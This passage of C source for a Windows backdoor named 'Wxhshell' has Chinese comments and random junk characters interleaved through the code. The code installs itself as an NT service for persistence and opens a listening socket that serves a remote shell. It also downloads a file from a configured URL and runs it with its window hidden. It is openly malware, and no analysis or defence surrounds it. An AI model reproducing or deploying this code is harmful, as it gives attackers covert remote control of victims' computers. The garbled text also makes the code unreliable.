lJ2|jFY9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xu%!
b0 if(hProcess==NULL) return 0; Uf7F8JZmM <\}Y@g8 HMODULE hMod; fcE/ char procName[255]; }Ll3AR7\ unsigned long cbNeeded; <iXS0k b2}QoJ@` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `L"p)5H ga{25q}" CloseHandle(hProcess); :]u}xDv3 6PzN>+t^y if(strstr(procName,"services")) return 1; // 以服务启动 7/^TwNsv ~q8V<@? return 0; // 注册表启动 Zv1Bju*y } 8aZey_Hw;+ sO{0hZkc // 主模块 ~*' 8=D?) int StartWxhshell(LPSTR lpCmdLine) l$p_])x { (Qx-KRH SOCKET wsl; VeN&rjc BOOL val=TRUE; h-2E9Z int port=0; OU)p)Y_z struct sockaddr_in door; mf*9^}l+Zn {x&jh|f`g if(wscfg.ws_autoins) Install(); *&hXJJ[+ 7G>0,'XC
port=atoi(lpCmdLine); ~P]HG;$?n -hG 9 if(port<=0) port=wscfg.ws_port; F)E7(Un`8 Cb@S </b WSADATA data; ohc/.5Kl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S0Bl?XsD_ _ntW}})K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; < ;%q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !0. 5 door.sin_family = AF_INET; ?(,5eg door.sin_addr.s_addr = inet_addr("127.0.0.1"); ](9{}DHV door.sin_port = htons(port); (1elF) XftJ= * if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i"sYf9, closesocket(wsl); N}l]Ilm$34 return 1; S,"ChR } OO !S
w ?) ,xZ1" if(listen(wsl,2) == INVALID_SOCKET) { n6%jhv9H closesocket(wsl); ;8;~C" return 1; LKqog%,c } 'a-5UTT Wxhshell(wsl); *nsnX/e(- WSACleanup(); ,8J*S LKf5r,C return 0; [#Nx>RY LG&Q>pt. } *v:,rh E9Xk8w'+ // 以NT服务方式启动 5cNzG4z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qh(-shZ4Du { UwL"%0u DWORD status = 0; jzJ1+/9 DWORD specificError = 0xfffffff; ]!tYrSM! y9G 57D serviceStatus.dwServiceType = SERVICE_WIN32; Cj4b]*Q, serviceStatus.dwCurrentState = SERVICE_START_PENDING; YAC zznN serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )(ZPSg$/F serviceStatus.dwWin32ExitCode = 0; owpJ7S1~ serviceStatus.dwServiceSpecificExitCode = 0; #`vGg9 serviceStatus.dwCheckPoint = 0; ILr6W@o5A serviceStatus.dwWaitHint = 0; ^pQ;0[9Y0 d"d)<f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %\{?(baOA if (hServiceStatusHandle==0) return; Eps\iykB (y+5d00 status = GetLastError(); li_pM!dWU_ if (status!=NO_ERROR) [>J~M!yu:r { {ZsWZJ! serviceStatus.dwCurrentState = SERVICE_STOPPED; eVCkPv* serviceStatus.dwCheckPoint = 0; ?;KJ
(@Va serviceStatus.dwWaitHint = 0; 3Ibt'$dK serviceStatus.dwWin32ExitCode = status; _[OEE<( serviceStatus.dwServiceSpecificExitCode = specificError; B> "r -O SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,~N+?k_ return; [;CqvD<S } 0Li'a{n 2 G|G?h serviceStatus.dwCurrentState = SERVICE_RUNNING; v/TlXxfil serviceStatus.dwCheckPoint = 0; ik:)-GV;s serviceStatus.dwWaitHint = 0; 3~3(G[w if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dI0>m:RBz } hA,rSq pXT$Y8M // 处理NT服务事件,比如:启动、停止 0[!gk]p VOID WINAPI NTServiceHandler(DWORD fdwControl) lRATrp#T { ^SSOh# switch(fdwControl) HH~
du { @#--dOWYR case SERVICE_CONTROL_STOP: agxSb^ 8tF serviceStatus.dwWin32ExitCode = 0; hzPB~obC serviceStatus.dwCurrentState = SERVICE_STOPPED;
jQ\
MB serviceStatus.dwCheckPoint = 0; zS"zb serviceStatus.dwWaitHint = 0; b{|/J <Fe { >/HU' SetServiceStatus(hServiceStatusHandle, &serviceStatus); p:Ld)U * } =|5bhwU] return; |3T|F3uEX
case SERVICE_CONTROL_PAUSE: pffw5Tc serviceStatus.dwCurrentState = SERVICE_PAUSED; ZLio8 break; MoR-8vnJ case SERVICE_CONTROL_CONTINUE: _M]rH<h serviceStatus.dwCurrentState = SERVICE_RUNNING; f_P+qm break; GwpBDMk case SERVICE_CONTROL_INTERROGATE: g d}TTe
break; |8U7C\S[ }; Hv7D+j8M SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Keon.N? } .'2gJ"?, dR, NC-* // 标准应用程序主函数 ZNC?Ntw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /2\=sTd { NF\^'W@N UE`4$^qs // 获取操作系统版本 M>H^<N}'A OsIsNt=GetOsVer(); 0)Xue9AS GetModuleFileName(NULL,ExeFile,MAX_PATH); b;;Kxi:7$} &{4Mo,x // 从命令行安装 D%Jc?6/I#3 if(strpbrk(lpCmdLine,"iI")) Install(); *DI:MBJY }!7DF // 下载执行文件 k$x
'v# if(wscfg.ws_downexe) { K\E]X\: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4C9"Q,o%& WinExec(wscfg.ws_filenam,SW_HIDE); R6@~ } *Qwhi&k KRR^? if(!OsIsNt) { < |